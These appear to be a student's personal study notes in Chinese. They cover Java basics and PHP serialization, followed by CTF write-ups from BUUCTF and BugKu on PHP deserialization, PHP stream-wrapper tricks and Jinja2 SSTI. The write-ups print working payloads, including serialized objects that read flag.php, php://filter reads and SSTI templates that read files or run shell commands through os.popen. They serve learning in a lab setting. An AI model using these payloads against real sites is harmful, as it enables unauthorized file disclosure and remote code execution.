第一章

1.1EditPlus3 的安装 文本编辑器

*工具 首选项 保存备份文件 bak【可取消备份文件功能】

*修改字体大小

1.2DOS 命令

打开 dos 命令窗口：【windows+r 输入 cmd】

DOS窗口内内容复制：标记

exit：退出当前DOS命令窗口

cls：清屏

dir：列出当前目录下所有子文件

cd：[change directory 改变目录]

cd 目录路径

绝对路径：从某个磁盘盘符下作为出发点的路径

相对路径：从当前所在路径下作为出发点的路径

**cd ..**：回到上级目录

**cd **：直接回到根目录

del 文件路径：删除文件

切换盘符：盘符+：+回车

c:+回车

f:+回车

1.3计算机语言发展史

第一代语言：机器语言：二进制码01000100，以打孔机为代表的

第二代语言：低级语言：汇编语言，引入了英语单词代替枯燥的01

第三代语言：高级语言：c，c++，java…

java语言发展史：

• 诞生于1995

• 在1995一千SUN公司（太阳微电子公司：目前已经被Oracle（甲骨文，做数据库）收购）为占领电子消费产品市场，派James Gosling领导团队开发了Oak（橡树）语言

• 1996：JDK1.0诞生
  JDK？ java开发工具包，需要从官网下载：http://www.oracle.com

• JDK目前最高版本：Java8/JDK1.8/JDK8

• java目前包括三大块：
  javaSE（标准版）

javaEE（企业版）

javaME（微型版）

java语言特性：【开源，免费，纯面向对象，跨平台】

• 简单性：
  不再支持多继承，c++支持多继承，多继承比较复杂，比如c++指针，java屏蔽了指针的概念，java语言底层是用c++实现的

• 面向对象：
  纯面向对象，更符合人的思维方式，更容易理解

• 可移植性：
  可以做到一次编译，到处运行，在各种系统上不做修改直接跨平台运行

原因：SUN团队把java运行在java虚拟机中，简称JVM，再由该虚拟机与操作系统打交道

• 多线程：

• 健壮性：
  和自动垃圾回收机制有关，简称GC机制，java语言运行过程中产生的垃圾是自动回收的，不需要程序员关心

• 安全性
  等

1.4java的加载与执行

运行包括【编译】【运行】两个阶段

源文件.java->编译->字节码文件.class->

用JDK中自带的javac.exe命令进行java程序编译

编译阶段：

javac是一个java编译器工具/命令

javac在 DOS命令窗口中使用

使用规则：javac java源文件的路径

用法：javac HelloWorld.java

生成的class文件就是最终执行的文件，可以拷贝跨平台

运行阶段：

JDK安装后另一工具/命令java.exe负责运行

使用规则：java 类名

例如：硬盘上有一 a.class，用法：java a

java.exe命令会启动JVM，JVM启动类加载器ClassLoader在硬盘搜索class文件，解释成二进制码，操作系统执行二进制码与底层硬件平台交互

JDK：java开发工具包

JRE：java运行环境，包含JVM

JVM：java虚拟机

编译运行HelloWorld文件

1 2 3 4 5

public class HelloWorld{//公开类，命名为HelloWorld public static void main(String[] args){//定义一个公开静态主方法 System.out.println("Hello World!");//向控制台输出消息 } }//public是公开的，static是静态的，(String[] args)是main方法的形参列表

用【javac HelloWorld.java】 进行编译
用【cd】命令把目录切换到class文件所在位置

用【java HelloWorld】 进行运行

解决javac不可用的问题：

java -version 可以查看当前版本

windows搜索硬盘上命令：

    * 先从当前目录搜索
    * 搜索不到时会去环境变量path指定路径搜索

把javac的路径配置到环境变量path中即可

javadoc注释：

/**

*javadoc注释

*javadoc注释

*javadoc注释

*/

该注释比较专业，会被javadoc.exe工具生成帮助文档

注释：

单行注释：//

多行注释：/*

注释内容

*/

public class和class的区别：

• 一个java源文件中可以定义多个class
• public class不是必须的
• 一个class会定义生成一个.class文件
• 源文件中只能有一个public class，且类名需与源文件名称一致
• 每个class中都可以编写main方法，设定程序入口，想执行B.class中的main方法：java B
• 在命令窗口中执行java A，要求A.class中有main方法，否则错误
• 在文件夹路径栏输cmd回车可以快速定位到该路径

总结内容：

• 自己搭建java开发环境
• 理解java加载与执行
• 编写编译运行HelloWorld程序
• 掌握环境变量path原理及配置方法
• 掌握环境变量classpath方法及配置
• java注释
• public class和class的区别

1 2

第二章

标识符

1.命名规则：

字母，数字，下划线，美元符号$组成，不能数字开头，严格区分大小写，关键字不能做标识符

2.命名规范：

/* 见名知意

/* 驼峰命名方式：SystemService，UserService

/* 类名，接口名：首字母大写，后面每个单词首字母大写

/* 变量名，方法名：首字母小写，后面每个单词首字母大写

/* 变量名：全部大写

1 2 3 4 5 6 7 8

public class HelloWorld{//类名HelloWorld //方法名main public static void main(String[] args){//args是变量名 } public static void doSome(){//doSome是方法名 int i = 10;//i是变量名 } }

字面值（等同于C语言 常量）

字面值：

10,100 整数型

3.14 浮点型

“abc”，”你好” 字符串型

‘a’ ，’人’ 字符型

true，false 布尔型

字面值就是数据

是java源程序组成部分之一

1 2 3 4 5 6 7 8 9

public class Print{ public static void main(String[] args){//args是变量名 System.out.println("hello"); System.out.println('a'); System.out.println(10); System.out.println(3.14); System.out.println(true); } }

变量

关于java中的变量：

什么是变量：

变量本质上是内存中的一块空间，该空间有数据类型，名字，字面值三个属性

变量包含这三个部分，是内存中存储数据的最基本的单元

数据类型的作用：

不同数据有不同类型，会被底层分配不同大小的空间

变量要求：

变量中存储的具体数据必须和数据类型一致，否则编译报错

声明/定义变量的语法格式：

数据类型 变量名;

例如：int i;

变量声明后赋值：

变量名 = 字面值;

声明和赋值可以放在一起完成

int i = 2;

变量赋值后可以重新赋值，变量的值可变：

int i = 10;

System.out.println(i);//10

i = 20;

System.out.println(i);//20

变量可以使内存空间得到重复利用

访问一个变量有两种形式：

1.读取变量中保存的具体数据 get/获取

2.修改变量中保存的具体数据 set/设置

i = 20; //set

System.out.println(i); //get

一行中可以声明多个变量

int a,b,c;

变量需要先声明，再赋值，再访问

在赋值后内存空间才被开辟

**同一个作用域中变量不能重名

变量的作用域：

变量的有效范围，在范围内可以被访问

1 2 3 4 5 6

public class Test01{ public static void main(String[] args){ int i; System.out.println(i); } }//编译报错：变量未初始化

1 2 3 4 5 6 7

public class Test01{ public static void main(String[] args){ int i; i = 100; System.out.println(i); } }//输出：100

关于变量分类：

遵循就近原则

根据变量声明位置分类：

局部变量：在方法体当中声明的

成员变量：在方法体外，类体内声明的

不同作用域中变量名可以相同

数据类型

数据类型的作用

指导JVM在运行程序过程中给数据分配相应大小的内存空间

基本数据类型

四大类八小种

第一类：整数型

整数型字面值默认当成int，想当成long处理需要在字面值后加 l/L

整数型三种表示方法：十进制【默认】，八进制【以0开始】，十六进制【以0x开头】

1 2 3 4 5 6 7 8 9 10

public class DataTypeTest04{ public static void main(String[] args){ int a = 10; int b = 010; int c = 0x10; System.out.println(a);//10 System.out.println(b);//0 System.out.println(c);//16 } }

byte

short

int

long

给long赋值需要注意：

字面值默认当做int处理，需要类型转换

int到long是小容量转大容量，可以自动转换

long x = 456;

long到int是大容量转小容量，不能自动转换

long y = 2147483647;//没有超出int的范围，可以自动转换

long y = 2147483648;//超出int范围，该数据会被当成int处理，截取4四节后赋值给long，产生错误

解决方法：long y = 2147483648L;

1 2 3 4 5 6 7 8

public class DataTypeTest05{ public static void main(String[] args){ long x = 100L; int y = x;//大容量不能直接赋值给小容量，报错 //正确做法： int y = (int)x;//强制类型转换，但是可能损失精度 } }

强制转换原理及赋值原理：

直接砍去

例如：

原始数据：

00000000 00000000 00000000 00000000

10000000 00000000 00000000 00000000

转换后：

10000000 00000000 00000000 00000000（补码）

补码再转换成原码会发现精度损失严重，出现负数

分析下列程序是否可以编译通过：

byte b = 50;//可以

byte b = 127;//可以

byte b = 128;//不可以，超出范围了

byte b = (byte)128;//-128

分析：

依据目前所学知识应当无法编译通过，理由：50是int类型字面值，b是byte，大容量int转换成小容量byte需要强制类型转换符，所以应当编译报错；

但实际上没有报错，原因：java中，当一个整数字面值没超过byte， short， char的取值范围，可以直接赋值

第二类：浮点型

java语言中所有浮点型字面值，默认当做double类型

要想当float处理需要在字面值后面添加F/f

float

double

1 2 3 4 5 6 7 8 9 10 11 12 13

public class DataTypeTest06{ public static void main(String[] args){ double d = 3.0;//3.0是double类型字面值，可以直接赋值给d System.out.println(d); //5.1是double类型，f是float类型变量 //大容量转小容量需强制类型转换符，所以以下程序编译错误 //float f = 5.1; //解决方案： //1. 强制类型转换 float f = (float)5.1; //2. float f = 5.1f; } }

关于浮点型数据类型
float 单精度【4个字节】

double 双精度【8个字节】

double精度太低【相对来说】，不适合做财务软件

所以SUN在基础SE类库当中准备了更高精确度的类型，是一种引用数据类型，不属于基本数据类型 java.math.BigDecimal

SUN提供了一套庞大的类库

SE类库字节码：java16.0.1不在图中所指地址，真实地址暂未找到

SE类库源码：java16.0.1不在图中所指地址，真实地址暂未找到

第三类：布尔型

boolean

第四类：字符型

char

基本数据类型 占用空间大小（字节） 取值范围 默认值

---

byte 1 [-128~127] 0

short 2 [-32768~32767] 0

int 4 [-2147486348~2147483647] 0

long 8 0

float 4 0.0

double 8 0.0

boolean 1 [ture,false] false

char 2 [0~65535] \u0000

short和char表示种类总数一样，但是char可以表示更大正整数，因为char没有负数

字节(byte)

1 Byte = 8 bit【1字节=8比特位】1个比特位代表一个二进制位

1 KB = 1024 Byte

1 MB = 1024 KB

1 GB = 1024 MB

1 TB = 1024 GB

**字符串”abc”属于引用数据类型

引用数据类型

类，接口，数组…

取值范围[-128~127]

可以表示256个不同数字（256个不同二进制）

八种基本类型当中，byte，short，int，long，float，double，boolean其中数据类型在计算机表示过程中比较容易，因为底层都是数字，十进制数字和二进制之间存在一种固定的转换规则

但是char是现实中文字，文字和计算机二进制之间默认情况下是不存在转换关系的

因此需要提前制定好对照关系，即 字符编码

计算机最初只支持英文，最先出现的的是ASCII码，解码和编码采用同一套字典/对照表，不会出现乱码

随着计算机发展，出现了另一种编码方式，国际化标准组织ISO制定的，支持西欧语言，向上兼容ASCII码，仍然不支持中文，ISO-8859-1（latin-1）

随着计算机向亚洲发展，计算机开始支持中文，日文，韩文等国家文字，其中支持简体中文的编码方式：GB2312<GBK<GB18030

后来出现了一种编码方式统一了全球所有的文字，容量较大，Unicode编码

Unicode编码有多种具体的实现：

UTF-8,UTF-16,UTF-32

java语言采用的是unicode编码，所以标识符可以用中文**

成员变量没有手动赋值时，系统会赋默认值

1 2 3 4 5 6 7 8 9 10

public class DataTypeTest02{ static int k = 1000; static int f;//成员变量，系统默认赋值 public static void main(String[] args){ int i; System.out.println(k);//正常 System.out.println(f);//正常 System.out.println(i);//编译错误，i是局部变量，没赋值 } }

1 2 3 4 5 6 7 8 9

public class DataTypeTest01{ public static void main(String[] args){ char c = 'a'; System.out.println(c); //一个中文占2字节，char类型是2字节，char可以存储一个中文字符 char x = '国'; System.out.println(x); } }

java转义字符 \

1 2 3 4 5 6 7 8 9 10 11

public class DataTypeTest03{ public static void main(String[] args){ char c1 = 'n';//普通的n System.out.print(c1); char c2 = '\n';//转义后变成换行符 System.out.print(c2);//输出换行 System.out.println(c1);//输出n后换行 System.out.println(c2);//输出换行后换行 } }

System.out.println() 和System.out.print()区别：
System.out.println() 输出后自动换行

**System.out.print()**只输出不换行

JDK中自带的native2ascii.exe命令可以把文字转换成unicode编码形式，\u代表十六进制

未整理：

在java中boolean只有两个值：true和false（c语言可以用0和1）

但是实际存储只占用一个字节，因为在底层实际存储的是0和1

在实际开发中非常重要，经常使用在逻辑运算和条件控制语句中

基本数据类型之间相互转换：转换规则

1.除boolean之外剩余七种可以相互转换

2.小容量向大容量转换，自动转换，容量从小到大排序：

byte<short<int<long<float<double

 <char<

注：

任何浮点型不管占用字节多大，都比整数型容量大

char和shour可表示的种类数量相同，但是char可以取更大的正整数

3.大容量转小容量，强制类型转换，需要加强制类型转换符，但是会损失精度

4.当字面值没有超出byte，short，char取值范围时，可以直接赋值

5.byte，short，char混合运算的时候，各自先转换成int类型再做运算

6.多种数据类型混合运算时，先转换成容量最大的类型再做运算

注意：

byte b = 3; //可以编译通过，3没有超出byte取值范围

但是

int i = 10;

byte b = i/3; //编译报错，编译器只检查语法，不会运算i/3，只能检查出类型错误，报错

运算符：

算术运算符

关系运算符

逻辑运算符

报错

错误: 编码 GBK 的不可映射字符 (0x96)

将javac命令改成：javac -encoding UTF-8 地址

后记:好，依然是放在最开头的后记，因为注释显示不出来所以换了方法，用了加高亮的方法显示碎碎念，哈哈，结果高亮显示不出来，传统美德，不知道换字体颜色中不中，下周作业试试

[ZJCTF 2019]NiZhuanSiWei—BUUCTF

题目开启

根据上面的代码去单独搜了一些函数，现在能看懂简单的php代码了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

<?php   $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){     echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";     if(preg_match("/flag/",$file)){         echo "Not now!";         exit();      }else{         include($file);  //useless.php         $password = unserialize($password);         echo $password;     } } else{     highlight_file(__FILE__); } ?>

代码审计：
第一层绕过：

1	if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

有file_get_content()，可以利用伪协议写入‘welcome to the zjctf ‘过判断；呜呜，伪协议是啥，有时间看（
看到提示有useless.php ，可以利用include(）读一下文件？咋利用啊

可以用php://input伪协议以POST传参’welcome to the zjctf ‘

也可以将文件内容通过data伪协议写进去，然后让file_get_contents()函数进行读取，payload如下

?text=data://text/plain,welcome to the zjctf

保险起见还是应该将welcome to the zjctf进行base64编码然后再进行上传，不然可能会过滤（不过本题没有过滤）

第二层绕过：

1 2 3 4 5 6 7 8

if(preg_match("/flag/",$file)){         echo "Not now!";         exit();      }else{         include($file);  //useless.php         $password = unserialize($password);         echo $password;     }

正则过滤掉flag，而题目又提示了useless.php，所以用php://filter协议来读取useless.php，payload如下：？正则过滤是啥？
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到base64源码怎么知道是base64源码的(？)是因为payload里面设定的吗，，总之解码一下

1 2 3 4 5 6 7 8 9 10 11 12

<?php   class Flag{  //flag.php       public $file;       public function __tostring(){           if(isset($this->file)){               echo file_get_contents($this->file);              echo "<br>";         return ("U R SO CLOSE !///COME ON PLZ");         }       }   }   ?>

构造序列化：

1 2 3

$a=new Flag(); $a->file = 'flag.php' ; echo serialize($a);

在本地进行序列化操作，

1 2 3 4 5 6 7 8 9 10 11 12 13 14

<?php class Flag{  //flag.php       public $file="flag.php";       public function __tostring(){           if(isset($this->file)){               echo file_get_contents($this->file);              echo "<br>";         return ("U R SO CLOSE !///COME ON PLZ");         }       }   }   $a=new Flag(); echo serialize($a); ?>

序列化之后：

1	O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终的payload:

1	?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

F12一下得到flag

flag{a7a1de07-d2a4-466e-9c1e-7bc1aa6710ee}

[网鼎杯 2020 青龙组]AreUSerialz—BUUCTF

题目开启

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

<?php include("flag.php"); highlight_file(__FILE__); class FileHandler {     protected $op;     protected $filename;     protected $content;     function __construct() {         $op = "1";         $filename = "/tmp/tmpfile";         $content = "Hello World!";         $this->process();     }     public function process() {         if($this->op == "1") {             $this->write();         } else if($this->op == "2") {             $res = $this->read();             $this->output($res);         } else {             $this->output("Bad Hacker!");         }     }     private function write() {         if(isset($this->filename) && isset($this->content)) {             if(strlen((string)$this->content) > 100) {                 $this->output("Too long!");                 die();             }             $res = file_put_contents($this->filename, $this->content);             if($res) $this->output("Successful!");             else $this->output("Failed!");         } else {             $this->output("Failed!");         }     }     private function read() {         $res = "";         if(isset($this->filename)) {             $res = file_get_contents($this->filename);         }         return $res;     }     private function output($s) {         echo "[Result]: <br>";         echo $s;     }     function __destruct() {         if($this->op === "2")             $this->op = "1";         $this->content = "";         $this->process();     } } function is_valid($s) {     for($i = 0; $i < strlen($s); $i++)         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))             return false;     return true; } if(isset($_GET{'str'})) {     $str = (string)$_GET['str'];     if(is_valid($str)) {         $obj = unserialize($str);     } }

代码审计：
GET方式传入序列化的str字符串，str字符串中每一个字符的ASCII范围在32到125之间，然后对其反序列化

在反序列化的过程中，调用__destruct析构方法

1 2 3 4 5 6

function __destruct() {     if($this->op === "2")         $this->op = "1";     $this->content = "";     $this->process(); }

如果op===”2”，将其赋为”1”，同时content赋为空，进入process函数，这里op与”2”比较的时候是强类型比较阿哲，强类型比较是啥啊，搜了一下只搜到了弱类型比较和强碰撞，还没看

1 2 3 4 5 6 7 8 9 10

public function process() {     if($this->op == "1") {         $this->write();     } else if($this->op == "2") {         $res = $this->read();         $this->output($res);     } else {         $this->output("Bad Hacker!");     } }

进入process函数后，如果op==”1”，则进入write函数，若op==”2”，则进入read函数，否则输出报错，可以看出来这里op与字符串的比较变成了弱类型比较==
所以我们只要令op=2,这里的2是整数int。当op=2时，op===”2”为false，op==”2”为true，接着进入read函数

1 2 3 4 5 6 7

private function read() {     $res = "";     if(isset($this->filename)) {         $res = file_get_contents($this->filename);     }     return $res; }

filename是我们可以控制的，接着使用file_get_contents函数读取文件，此处借助php://filter伪协议读取文件，获取到文件后使用output函数输出

1 2 3 4 5 6 7 8 9 10

private function output($s) {     echo "[Result]: <br>";     echo $s; } 整个利用思路就很明显了，还有一个需要注意的地方是，$op,$filename,$content三个变量权限都是protected，而protected权限的变量在序列化的时会有%00*%00字符，%00字符的ASCII码为0，就无法通过上面的is_valid函数校验？？？？？此处存疑，待搜索 这题跟上一题一样是两层绕过 第一层：

is_valid()，要求我们传入的str的每个字母的ascii值在32和125之间，因为protected属性在序列化之后会出现不可见字符\00*\00，不符合上面的要求

绕过方法：绕过方法：
①PHP7.1以上版本对属性类型不敏感，public属性序列化不会出现不可见字符，可以用public属性来绕过

②private属性序列化的时候会引入两个\x00，注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到，甚至导致截断，但是url编码后就可以看得很清楚了。同理，protected属性会引入\x00*\x00。此时，为了更加方便进行反序列化Payload的传输与显示，我们可以在序列化内容中用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示。

第二层：

destruct()魔术方法，op===”2”，是强比较，而在process()函数中,op==”2”是弱比较

绕过方法：可以使传入的op是数字2，从而使第一个强比较返回false,而使第二个弱比较返回true.

本地序列化

1 2 3 4 5 6 7 8 9 10

<?php class FileHandler {     public  $op = 2;     public  $filename = "flag.php";     public  $content = "1";        //因为destruce函数会将content改为空，所以content的值随意（但是要满足is_valid()函数的要求） } $a = new FileHandler(); $b = serialize($a); echo $b; ?>

序列化结果：

1	O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

payload，f12获取flag这里没成功，不知道原因是啥哦qwq，搜了好几个wp都是用这个payload做的，为啥人家可以直接看到，，，相同wp里面php伪协议的方法也没读出来，看了好几个wp的伪协议才得到flag

1	?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

或者使用PHP伪协议读取flag.php：

1 2 3 4 5 6 7 8 9 10

<?php class FileHandler {     public $op = 2;     public  $filename = "php://filter/read=convert.base64-encode/resource=flag.php";     public  $content = "oavinci"; } $a = new FileHandler(); $b = serialize($a); echo $b; ?>

base64解码得到flag

1 2 3 4 5 6 7 8 9 10 11 12 13

<?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) {     if ($_GET['uname'] == $_POST['passwd'])         print 'passwd can not be uname.';     else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))         die('Flag: '.$flag);     else         print 'sorry!'; } ?>

代码审计： 1. id、uname通过get方法传值，passwd通过post方法传值且如果想要进入内层循环必须传入uname和passwd 2. uname和passwd弱类型不相等 3. uname和passwd加密后的值强相等 4. id字段url解码后=‘margin’ id字段只是迷惑，'margin'解码后的值仍然是'margin'，要满足2和3只需要利用sha1函数无法处理数组的特性即可。当对sha1()函数传入数组时会返回null，由此，只需要传入两个不同的数组即可成功绕过 payload:

1	?uname[]=1&id=margin

postdata:

1	passwd[]=2

 获得flag flag{d246947f298242a66445237e83f937d4} ## [file_get_contents]---BugKu ### 题目开启

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

<?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "<p>This is flag:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?>

代码审计： 大致意思就是要上传 ac和fn两个参数，ac的值等于fn文件内容的值，可以用到php伪协议的php://input，访问请求的原始数据的只读流，将post请求中的数据作为PHP代码执行，这个伪协议需要allow_url_include为on？这是啥，简单搜了一下没搜桌 payload:

1	?ac=1&fn=php://input

postdata： 即可得到flag wp作者说用谷歌浏览器里的hackbar的回显是sorry而火狐的hackbar能正常回显出flag 我俩都没回显成功，全sorry（，咋回事捏 看了作者的wp，这作者就离谱  题目是这样的  作者是这么写的。。。？？？哪来的提示flag.txt，是我没看到还是他在瞎掰扯？而且为啥在flag.txt看到的内容要赋给ac。。。什么原理 此处需要刘汉黄豆   这操作还挺离谱，，总之这样能搞到flag，而且还跟前面步骤得到的flag不同： flag{ca5f67adab469c3d5dd43c2edb71c4d2} 试了一下上面的是错的，下面的flag才是正确的 flag{3f643e8a4ea223e2cec463b605251f3e} 这纯寄吧混子 反序列化的题有点不好找啊（ 还有几道攻防世界的，但是攻防世界我怎么开启不了，，，  先不做了，，应该没时间了，明天出去玩，不带电脑，周一（7.6）下午回家 ↓7.3看这个wp [CTF-WEB：PHP 反序列化 - 乌漆WhiteMoon - 博客园 (cnblogs.com)](https://www.cnblogs.com/linfangnan/p/13520608.html#1094377087) [浅谈md5弱类型比较和强碰撞 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/349853934) [反序列化类型CTF题目总结_Lelouch_E的博客-CSDN博客](https://blog.csdn.net/Lelouch_E/article/details/110142160) ###

序列化

对象的序列化

把一个Person对象以流的方式，写入到文件中保存，叫写对象，也叫对象序列化，对象中包含的不仅仅是字符，使用字节流。

ObjectOutputStream：对象的序列化流

对象序列化的最主要的用处就是在传递,和保存对象(object)的时候,保证对象的完整性和可传递性。

对象的反序列

把文件中保存的对象，以流的方式读取出来，叫做读取对象，也叫对象的反序列。读取的文件保存的都是字节，使用字节流。

ObjectInputStream:对象的反序列流

关于序列化与反序列化，其实就是将对象从文件中写入（序列化）或者是读取（反序列化），反序列化的时候，我们用Object类来接收，因为Object类可以接收任意对象。

序列化步骤

• 将对象实例相关的类元数据输出。
• 递归地输出类的超类描述直到不再有超类。
• 类元数据完了以后，开始从最顶层的超类开始输出对象实例的实际数据值。
• 从上至下递归输出实例的数据

  实现序列化步骤

1. 声明对象具有可序列化的能力
2. 通过Java API实现具体的序列化处理

   几个问题

什么情况下需要序列化?

1. 当你想把的内存中的对象状态保存到一个文件中或者数据库中时候；
2. 当你想用套接字在网络上传送对象的时候；
3. 当你想通过RMI传输对象的时候；

   当对一个对象实现序列化时，究竟发生了什么？

在没有序列化前，每个保存在堆（Heap）中的对象都有相应的状态（state），即实例变量（instance ariable）

相关注意事项

1. 序列化时，只对对象的状态进行保存，而不管对象的方法；
2. 当一个父类实现序列化，子类自动实现序列化，不需要显式实现Serializable接口；
3. 当一个对象的实例变量引用其他对象，序列化该对象时也把引用对象进行序列化；
4. 并非所有的对象都可以序列化，至于为什么不可以，有很多原因了,比如：

安全方面的原因

比如一个对象拥有private，public等field，对于一个要传输的对象，比如写到文件，或者进行rmi传输等等，在序列化进行传输的过程中，这个对象的private等域是不受保护的。

资源分配方面的原因：

比如socket，thread类，如果可以序列化，进行传输或者保存，也无法对他们进行重新的资源分配，而且，也是没有必要这样实现。

声明为static和transient类型的成员数据不能被序列化。因为static代表类的状态，transient代表对象的临时数据。

序列化和外部化的主要区别

序列化会自动存储必要的信息，用以反序列化被存储的实例，而外部化则只保存被存储的类的标识。当你通过java.io.serializable接口 序列化一个对象时，有关类的信息，比如它的属性和这些属性的类型，都与实例数据一起被存储起来。在选择走externalizable这条路时，java 只存储有关每个被存储类型的非常少的信息。

每个接口的优点和缺点

| |序列化|外部化|
|:—-|:—-|:—-|:—-|:—-|
|优点|1、内建支持
2、易于实现|1、开销较少（程序员决定存储什么）
2、可能的速度提升|
|缺点|1、占用空间过大
2、由于额外的开销导致速度变比较慢|虚拟机不提供任何帮助，也就是说所有的工作都落到了开发人员的肩上。|

具体操作

数组的序列化：

1 2 3 4 5 6 7

<?php   $a = array('张三','李四','王五'); $a_ser = serialize($a); echo "$a_ser \n"; print_r(unserialize($a_ser)); ?>

输出：

1 2 3 4 5 6 7

a:3:{i:0;s:6:"张三";i:1;s:6:"李四";i:2;s:6:"王五";}  Array (     [0] => 张三     [1] => 李四     [2] => 王五 )

其中 “a” 表示这是个数组，数组的每个元素的格式形如 “i:0;s:6:”张三”;”
其中 “i” 表示 整型，“s” 表示字符串

对象的序列化和反序列化:

1 2 3 4 5 6 7 8 9 10 11

<?php class a_object{    public $id = 123; } $a = new a_object; $a_ser=serialize($a); echo $a_ser; echo "\n"; print_r(unserialize($a_ser));   ?>

输出结果

1 2 3 4 5 6 7

O:8:"a_object":1:{s:2:"id";i:123;} a_object Object ( [id] => 123 ) 类在序列化后的格式为“变量类型：类名长度（字节）：类名：属性数量：{属性名类型：属性名长度：属性名：属性值类型：属性值长度：属性值内容}”

访问控制修饰符

根据类中字段的访问控制修饰符的不同，在序列化的时候的输出有所不同，例如：

1 2 3 4 5 6 7 8 9 10 11 12 13

<?php class a_object{    public $Id1 = 123;    protected $Id2 = 123;    private $Id3 = 123; } $a = new a_object; $a_ser=serialize($a); echo $a_ser; echo "\n"; print_r(unserialize($a_ser));   ?>

输出：

1 2 3 4 5 6 7

O:8:"a_object":3:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;} a_object Object (     [Id1] => 123     [Id2:protected] => 123     [Id3:a_object:private] => 123 )

声明为 protected 的字段序列化格式为 “%00*%00属性名”，声明为 private 的字段序列化格式为 %00类名%00属性名

绕过 __wakeup()

由于 __wakeup() 函数在执行 unserialize() 时，先会调用这个函数，有时候这个函数中的代码会影响反序列化的利用。因此如果遇到 __wakeup() 函数就要先绕过，绕过方法是令对象属性个数的值大于真实个数的属性。例如：

1 2	Copy O:8:"a_object":4:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}

magic 方法

PHP 的面向对象中包含一些魔术方法，这些方法在某种情况下会被自动调用。

magic 方法	功能
__construct()	类构造器
__destruct()	类的析构器
__sleep()	执行 serialize() 时，先会调用这个函数
__wakeup()	执行 unserialize() 时，先会调用这个函数
__toString()	类被当成字符串时的回应方法

serialize 和 unserialize 函数

在 PHP 中将对象、数组、变量等转化为字符串，这样便于将数据保存到数据库或者文件中，这个过程称之为序列化。当需要使用这些数据时，就需要用反序列化就是将字符串还原回原来的样子，也就是序列化的逆过程。PHP 提供了serialize和unserialize

函数来支持这 2 种操作，当 unserialize 函数的参数被用户控制时就会形成反序列化漏洞。

语法

PHP isset() vs empty()

isset()

是用于确定变量是否已设置且不为空—>当变量不为null时返回true

empty()

用于确定变量是否为空—>当变量是 空字符串，false，array（），NULL，“0”，0和未设置的变量，返回true。

区别

1、isset()如果包含flase、0或空字符串值，则返回true；否则返回false

empty()如果包含空值、0、null或false值，则返回true；如果字符串包含非空值和非零值，则返回false

2、如果值不存在，isset()函数会返回false，而empty() 函数会返回true

变量的值（$ var）	isset（$ var）	empty（$ var）
“”（空字符串）	布尔（true）	布尔（true）
“ “ （空格字符）	布尔（true）
false	布尔（true）	布尔（true）
true	布尔（true）
array（）（一个空数组）	布尔（true）	布尔（true）
NUll值		布尔（true）
“0”（0作为字符串	布尔（true）	布尔（true）
0（0为整数）	布尔（true）	布尔（true）
0.0（0作为浮点数）	布尔（true）	布尔（true）
var $ var; （声明的变量，但没有值）		布尔（true）
NUll字节（“\ 0”）	布尔（true）

PHP file_get_contents()

定义和用法

file_get_contents() 函数把整个文件读入一个字符串中

和file()一样，不同的是 file_get_contents() 把文件读入一个字符串

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法

如果操作系统支持，还会使用内存映射技术来增强性能。

语法

1	file_get_contents(path,include_path,context,start,max_length)

PHP printf_r()

语法

1	bool print_r ( mixed $expression [, bool $return ] )

参数说明：

• $expression: 要打印的变量，如果给出的是 string、integer 或 float 类型变量，将打印变量值本身。如果给出的是 array，将会按照一定格式显示键和元素。object 与数组类似。
• $return: 可选，如果为 true 则不输出结果，而是将结果赋值给一个变量，false 则直接输出结果。

  返回值

$return如果设为true才有返回值，为一个易于理解的字符串信息。

不成体系零碎知识

有关PHP

是换行

可加各种HTML头

参考链接

PHP伪协议总结_是大方子-CSDN博客_php伪协议

后记：原来我加的图片边框显示不出来啊，注释也显示不出来，擦，，像个小丑一样
//至于为什么后记会出现在最前面，，这是因为我想让他最先出现（（

[Simple_SSTI_1]—BUGKU

题目开启

开启环境

可以传递一个参数flag

f12看看有无提示

估计flag在一个叫SECRET_KEY文件里

用config查看

得到flag

///疑惑1：为什么文件要用大写（我试了用小写不会爆出flag）

///疑惑2：config是什么

[Simple_SSTI_2]—BUGKU

所用知识：

文件读写

1	{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}

命令执行

1	{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}

题目开启

开启环境

f12发现无提示

尝试直接传递参数2*2被执行了

传点错误语句看看是什么模板

